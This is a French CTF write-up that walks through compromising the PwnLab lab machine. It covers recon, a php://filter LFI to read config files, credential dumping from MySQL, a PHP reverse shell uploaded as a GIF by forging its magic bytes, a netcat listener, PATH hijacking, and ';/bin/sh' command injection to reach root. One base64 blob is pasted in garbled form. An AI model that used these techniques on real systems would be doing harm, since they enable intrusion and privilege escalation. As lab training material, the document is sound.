
RAPPORT DU CHALLENGE PWNLAB:

Après avoir téléchargé et importé la machine vulnérable dans l’hyperviseur VMWARE, nous avons
effectué les étapes suivantes:

Etape1:  Vérifier l’adresse ip de la machine

Nous avons ensuite scanner le réseau afin de vérifier si la machine pwnlab a obtenu une adresse ip et
nous avons constaté qu’elle a obtenu l’adresse 192.168.0.173.

nmap 192.168.0.0/24

Etape 2:  Trouver les services disponible sur cette machine ainsi que leurs ports et versions
respectives à l’aide de nmap



Nous avons les services ci-dessous et leurs versions:

Apache à la version 2.4.10 ouvert sur le port 80/tcp   2.4.10 ((Debian))
rpcbind à la version 2-4  ouvert sur le port 111/tcp
MySQL  ouvert sur le port 3306/tcp

Etape3: Enumération

sudo nikto -h 192.168.0.173



Avec nikto, nous avons obtenu la présence d’un fichier config.ph sur le serveur. Il est aussi notifié que
ce fichier comporte les IDS et mot de passe de la base de données.

Nous avons accédé à l’interface web. et nous avons constaté que l’url change à chaque fois que nous
passons d’une page à une autre.

Nous avons décidé de voir le contenu de ce fichier config.php.
Nous avons essayé de changer l’url avec “config”, mais nous n’avons pas trouvé de contenu.

En recherchant les failles liées à la lecture des fichiers locaux, nous avons découvert qu'il existe une
vulnérabilité d'inclusion de fichiers locaux dans ce type de changement d’url à chaque sélection de
page. L'inclusion de fichiers locaux (LFI) est une vulnérabilité qui a pour objectif de lire le contenu
des fichiers présents sur le serveur de la victime car l’inclusion se fait sur les fichiers déjà présent sur
le serveur. Nous l’avons utilisé pour lire le code source des scripts PHP qui exécutent l'application



Web. Il existe une variante de LFI qui utilise des convertisseurs PHP intégrés pour convertir le code
source en base64 afin que nous puissions le décoder et le lire,
https://leclerc-web.fr/les-failles-des-sites-web/

Nous nous sommes rendu sur le site https://www.aptive.co.uk/blog/local-file-inclusion-lfi-testing/ ,
puis nous avons trouvé le filtre php://filter. php://filter permet à un pentester d'inclure des fichiers
locaux et d’encode la sortie en  base64. Par conséquent, toute sortie base64 devra être décodée pour
révéler le contenu.

http://192.168.0.173/?page=php://filter/convert.base64-encode/resource=config

Nous avons copié ce code dans un fichier et nous l’avons décode.

echo
“PD9waHANCiRzZXJ2ZXIJICA9ICJsb2NhbGhvc3QiOw0KJHVzZXJuYW1lID0gInJ
vb3QiOw0KJHBhc3N3b3JkID0gIkg0dSVRSl9IOTkiOw0KJGRhdGFiYXNlID0gIlVzZ
XJzIjsNCj8+” > code.txt

base64 code.txt -d

https://leclerc-web.fr/les-failles-des-sites-web/
https://www.aptive.co.uk/blog/local-file-inclusion-lfi-testing/


base64 code.txt -d > decode.txt

Nous avons obtenu le username, le mot de passe, contenu dans le fichier config.php

Etape4: Connexion et exploration de la base de données

mysql -h 192.168.0.173 -u root -p, nous avons utiliser le mot de passe que nous avons obtenu
dans le fichier config.txt

show databases;

use Users;
show tables;
select * FROM users



Nous avons décodé ces mots de passes:

echo "Sld6WHVCSkpOeQ==" >kent_passwd
echo "U0lmZHNURW42SQ==" >mike_passwd
echo "aVN2NVltMkdSbw==" >kane_passwd
base64 kent_passwd -d > kent
base64 mike_passwd -d > mike
base64 kane_passwd -d > kane
cat kent => JWzXuBJJNy
cat mike => SIfdsTEn6I
cat kane => iSv5Ym2GRo

Nous nous sommes connecté avec l’utilisateur, kent, et nous avons été redirigé vers la page d’upload
de fichier. Nous avons préparé un reverse-shell php avec l’extensions d’une image, mais une fois
l’upload effectué, nous obtenu l’erreur ci-dessous:



Nous avons lu le contenu de cette page upload avec l’exploitation du LFI:
http://192.168.0.173/?page=php://filter/convert.base64-encode/resource=upload puis nous avons
obtenu le code base64 ci-dessous:

Nous avons copié ce code dans un fichier afin de le décoder.

echo
"PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCmlmICghaXNzZXQoJF9TRVNTSU9OWyd1c2Vhttp://192.168.0.173/?page=php://filter/convert.base64-encode/resource=upload

" >
upload.txt

base64 upload.txt -d > upload_decode.txt
cat upload_decode.txt

En insspectant la page, nous avons obtenu la source de l’image.



Après nos recherches, pour résoudre cette erreur,  nous nous sommes rendu sur le site
https://gobiasinfosec.blog/2019/12/24/file-upload-attacks-php-reverse-shell/ où nous avons trouvé
d'autres filtres qui examinent le "nombre magique" au début d'un fichier pour déterminer s'il s'agit
d'une image valide.
Nous avons donc modifier le fichier php-reverse-shell.php.gif, en insérant des octets au début du
fichier.

hexeditor -b php-reverse-shell.php
ctrl+A sur chaque octet à modifier

ctrl+x pour sauvegarder la modification

https://gobiasinfosec.blog/2019/12/24/file-upload-attacks-php-reverse-shell/


Nous avons démarré l’écoute sur notre machine local: nc -lnvp 1234
Nous avons démarré l’outils  burpsuite afin d’intercepter la requête .  Nous avons envoyé le fichier
reverse shell à nouveau.

Dans burpsuite, nous avons envoyé la requête dans “Repeater”, afin de la modifié. En interceptant la
requête via Burp, insérons le chemin téléchargé dans le paramètre LANG.



Ensuite en cliquant sur “Send” nous avons obtenu le shell.



Nous avons essayé de nous connecté avec le username kent, et nous avons constaté que le
shell était restreindre.

Nous avons donc pris un shell tty: python -c 'import pty;pty.spawn("/bin/bash");'

Nous n’avons pas obtenu d’information importante.



utilisateur kane: su kane

En l'exécutant, il affiche simplement le contenu en utilisant cat, qui n'a pas de nom complet.
Nous avons modifié son contenu avec /bin/sh et modifé  le PATH pour trouver d'abord "cat" dans le
PATH actuel.

echo ‘bin/sh’ > cat
chmod 777 cat
export PATH=:./:$PATH



En explorant le répertoire mike, nous pouvons voir qu'il y a un message pour root.

cd /home/mike
ls -la

En exécutant msg2root, nous avons constaté qu'il a besoin d'une entrée de l'utilisateur. Nous avons
pensé à l'injection de commande.  Nous avons ajouté  ;/bin/sh puis nous avons eu accès à root.




